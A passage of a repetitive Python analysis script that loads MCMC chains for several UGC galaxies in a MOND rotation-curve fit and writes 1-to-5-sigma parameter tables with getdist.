low=log10_YD_sol_UGC08550-stats_UGC08550.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC08550.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC08550 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC08550 low=df2_sol_UGC08550-stats_UGC08550.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC08550.parWithName('df2').limits[i].upper- df2_sol_UGC08550 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC08550 low=Dinc_sol_UGC08550-stats_UGC08550.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC08550.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC08550 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC08699 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC08699.csv',usecols=[1,2,3,4,5]) data_array_chain_UGC08699 = numpy.array(full_chain_UGC08699) mle_soln_UGC08699=[] for i in range(ndim_with_bulge): mcmc_UGC08699 = numpy.percentile(data_array_chain_UGC08699[:, i], [16, 50, 84]) q_UGC08699 = numpy.diff(mcmc_UGC08699) mle_soln_UGC08699.append(mcmc_UGC08699[1]) log10_a0_sol_UGC08699=mle_soln_UGC08699[0] log10_YD_sol_UGC08699=mle_soln_UGC08699[1] log10_YB_sol_UGC08699=mle_soln_UGC08699[2] df2_sol_UGC08699=mle_soln_UGC08699[3] Dinc_sol_UGC08699=mle_soln_UGC08699[4] samp_UGC08699 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC08699,names = names_with_bulge, labels = labels_with_bulge) samp_UGC08699.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC08699 = samp_UGC08699.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC08699 low=log10_a0_sol_UGC08699-stats_UGC08699.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC08699.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC08699 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC08699 low=log10_YD_sol_UGC08699-stats_UGC08699.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC08699.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC08699 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_YB.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YB_sol_str='%s'%log10_YB_sol_UGC08699 low=log10_YB_sol_UGC08699-stats_UGC08699.parWithName('log10_YB').limits[i].lower low_str='%s'%low up=stats_UGC08699.parWithName('log10_YB').limits[i].upper- log10_YB_sol_UGC08699 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-log10_YB.txt', 'a') text_file.write(log10_YB_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC08699 low=df2_sol_UGC08699-stats_UGC08699.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC08699.parWithName('df2').limits[i].upper- df2_sol_UGC08699 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC08699 low=Dinc_sol_UGC08699-stats_UGC08699.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC08699.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC08699 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08699-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC08837 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC08837.csv',usecols=[1,2,3,4]) data_array_chain_UGC08837 = numpy.array(full_chain_UGC08837) mle_soln_UGC08837=[] for i in range(ndim): mcmc_UGC08837 = numpy.percentile(data_array_chain_UGC08837[:, i], [16, 50, 84]) q_UGC08837 = numpy.diff(mcmc_UGC08837) mle_soln_UGC08837.append(mcmc_UGC08837[1]) log10_a0_sol_UGC08837=mle_soln_UGC08837[0] log10_YD_sol_UGC08837=mle_soln_UGC08837[1] df2_sol_UGC08837=mle_soln_UGC08837[2] Dinc_sol_UGC08837=mle_soln_UGC08837[3] samp_UGC08837 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC08837,names = names, labels = labels) samp_UGC08837.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC08837 = samp_UGC08837.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC08837 low=log10_a0_sol_UGC08837-stats_UGC08837.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC08837.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC08837 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC08837 low=log10_YD_sol_UGC08837-stats_UGC08837.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC08837.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC08837 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC08837 low=df2_sol_UGC08837-stats_UGC08837.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC08837.parWithName('df2').limits[i].upper- df2_sol_UGC08837 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC08837 low=Dinc_sol_UGC08837-stats_UGC08837.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC08837.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC08837 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08837-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC09037 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC09037.csv',usecols=[1,2,3,4]) data_array_chain_UGC09037 = numpy.array(full_chain_UGC09037) mle_soln_UGC09037=[] for i in range(ndim): mcmc_UGC09037 = numpy.percentile(data_array_chain_UGC09037[:, i], [16, 50, 84]) q_UGC09037 = numpy.diff(mcmc_UGC09037) mle_soln_UGC09037.append(mcmc_UGC09037[1]) log10_a0_sol_UGC09037=mle_soln_UGC09037[0] log10_YD_sol_UGC09037=mle_soln_UGC09037[1] df2_sol_UGC09037=mle_soln_UGC09037[2] Dinc_sol_UGC09037=mle_soln_UGC09037[3] samp_UGC09037 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC09037,names = names, labels = labels) samp_UGC09037.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC09037 = samp_UGC09037.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC09037 low=log10_a0_sol_UGC09037-stats_UGC09037.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC09037.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC09037 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC09037 low=log10_YD_sol_UGC09037-stats_UGC09037.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC09037.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC09037 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC09037 low=df2_sol_UGC09037-stats_UGC09037.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC09037.parWithName('df2').limits[i].upper- df2_sol_UGC09037 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC09037 low=Dinc_sol_UGC09037-stats_UGC09037.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC09037.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC09037 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09037-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC09133 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC09133.csv',usecols=[1,2,3,4,5]) data_array_chain_UGC09133 = numpy.array(full_chain_UGC09133) mle_soln_UGC09133=[] for i in range(ndim_with_bulge): mcmc_UGC09133 = numpy.percentile(data_array_chain_UGC09133[:, i], [16, 50, 84]) q_UGC09133 = numpy.diff(mcmc_UGC09133) mle_soln_UGC09133.append(mcmc_UGC09133[1]) log10_a0_sol_UGC09133=mle_soln_UGC09133[0] log10_YD_sol_UGC09133=mle_soln_UGC09133[1] log10_YB_sol_UGC09133=mle_soln_UGC09133[2] df2_sol_UGC09133=mle_soln_UGC09133[3] Dinc_sol_UGC09133=mle_soln_UGC09133[4] samp_UGC09133 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC09133,names = names_with_bulge, labels = labels_with_bulge) samp_UGC09133.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC09133 = samp_UGC09133.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC09133 low=log10_a0_sol_UGC09133-stats_UGC09133.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC09133.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC09133 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC09133 low=log10_YD_sol_UGC09133-stats_UGC09133.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC09133.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC09133 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_YB.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YB_sol_str='%s'%log10_YB_sol_UGC09133 low=log10_YB_sol_UGC09133-stats_UGC09133.parWithName('log10_YB').limits[i].lower low_str='%s'%low up=stats_UGC09133.parWithName('log10_YB').limits[i].upper- log10_YB_sol_UGC09133 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-log10_YB.txt', 'a') text_file.write(log10_YB_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC09133 low=df2_sol_UGC09133-stats_UGC09133.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC09133.parWithName('df2').limits[i].upper- df2_sol_UGC09133 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC09133 low=Dinc_sol_UGC09133-stats_UGC09133.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC09133.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC09133 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09133-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC09992 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC09992.csv',usecols=[1,2,3,4]) data_array_chain_UGC09992 = numpy.array(full_chain_UGC09992) mle_soln_UGC09992=[] for i in range(ndim): mcmc_UGC09992 = numpy.percentile(data_array_chain_UGC09992[:, i], [16, 50, 84]) q_UGC09992 = numpy.diff(mcmc_UGC09992) mle_soln_UGC09992.append(mcmc_UGC09992[1]) log10_a0_sol_UGC09992=mle_soln_UGC09992[0] log10_YD_sol_UGC09992=mle_soln_UGC09992[1] df2_sol_UGC09992=mle_soln_UGC09992[2] Dinc_sol_UGC09992=mle_soln_UGC09992[3] samp_UGC09992 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC09992,names = names, labels = labels) samp_UGC09992.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC09992 = samp_UGC09992.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC09992 low=log10_a0_sol_UGC09992-stats_UGC09992.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC09992.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC09992 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC09992 low=log10_YD_sol_UGC09992-stats_UGC09992.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC09992.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC09992 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC09992 low=df2_sol_UGC09992-stats_UGC09992.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC09992.parWithName('df2').limits[i].upper- df2_sol_UGC09992 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC09992 low=Dinc_sol_UGC09992-stats_UGC09992.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC09992.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC09992 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC09992-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC10310 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC10310.csv',usecols=[1,2,3,4]) data_array_chain_UGC10310 = numpy.array(full_chain_UGC10310) mle_soln_UGC10310=[] for i in range(ndim): mcmc_UGC10310 = numpy.percentile(data_array_chain_UGC10310[:, i], [16, 50, 84]) q_UGC10310 = numpy.diff(mcmc_UGC10310) mle_soln_UGC10310.append(mcmc_UGC10310[1]) log10_a0_sol_UGC10310=mle_soln_UGC10310[0] log10_YD_sol_UGC10310=mle_soln_UGC10310[1] df2_sol_UGC10310=mle_soln_UGC10310[2] Dinc_sol_UGC10310=mle_soln_UGC10310[3] samp_UGC10310 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC10310,names = names, labels = labels) samp_UGC10310.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC10310 = samp_UGC10310.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC10310 low=log10_a0_sol_UGC10310-stats_UGC10310.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC10310.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC10310 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC10310 low=log10_YD_sol_UGC10310-stats_UGC10310.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC10310.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC10310 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC10310 low=df2_sol_UGC10310-stats_UGC10310.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC10310.parWithName('df2').limits[i].upper- df2_sol_UGC10310 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC10310 low=Dinc_sol_UGC10310-stats_UGC10310.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC10310.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC10310 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC10310-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC11455 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC11455.csv',usecols=[1,2,3,4]) data_array_chain_UGC11455 = numpy.array(full_chain_UGC11455) mle_soln_UGC11455=[] for i in range(ndim): mcmc_UGC11455 = numpy.percentile(data_array_chain_UGC11455[:, i], [16, 50, 84]) q_UGC11455 = numpy.diff(mcmc_UGC11455) mle_soln_UGC11455.append(mcmc_UGC11455[1]) log10_a0_sol_UGC11455=mle_soln_UGC11455[0] log10_YD_sol_UGC11455=mle_soln_UGC11455[1] df2_sol_UGC11455=mle_soln_UGC11455[2] Dinc_sol_UGC11455=mle_soln_UGC11455[3] samp_UGC11455 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC11455,names = names, labels = labels) samp_UGC11455.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC11455 = samp_UGC11455.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC11455 low=log10_a0_sol_UGC11455-stats_UGC11455.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC11455.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC11455 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC11455 low=log10_YD_sol_UGC11455-stats_UGC11455.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC11455.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC11455 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC11455 low=df2_sol_UGC11455-stats_UGC11455.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC11455.parWithName('df2').limits[i].upper- df2_sol_UGC11455 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC11455 low=Dinc_sol_UGC11455-stats_UGC11455.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC11455.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC11455 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11455-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC11557 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC11557.csv',usecols=[1,2,3,4]) data_array_chain_UGC11557 = numpy.array(full_chain_UGC11557) mle_soln_UGC11557=[] for i in range(ndim): mcmc_UGC11557 = numpy.percentile(data_array_chain_UGC11557[:, i], [16, 50, 84]) q_UGC11557 = numpy.diff(mcmc_UGC11557) mle_soln_UGC11557.append(mcmc_UGC11557[1]) log10_a0_sol_UGC11557=mle_soln_UGC11557[0] log10_YD_sol_UGC11557=mle_soln_UGC11557[1] df2_sol_UGC11557=mle_soln_UGC11557[2] Dinc_sol_UGC11557=mle_soln_UGC11557[3] samp_UGC11557 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC11557,names = names, labels = labels) samp_UGC11557.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC11557 = samp_UGC11557.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC11557 low=log10_a0_sol_UGC11557-stats_UGC11557.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC11557.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC11557 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-log10_YD.txt', 'w') text_file.write('max 